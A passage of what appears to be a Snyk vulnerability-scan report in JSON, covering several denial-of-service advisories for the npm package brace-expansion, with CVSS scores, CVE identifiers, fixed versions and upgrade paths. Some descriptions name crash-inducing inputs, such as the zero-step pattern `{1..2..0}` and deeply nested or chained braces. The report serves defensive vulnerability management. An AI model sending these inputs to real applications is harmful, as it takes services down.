">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
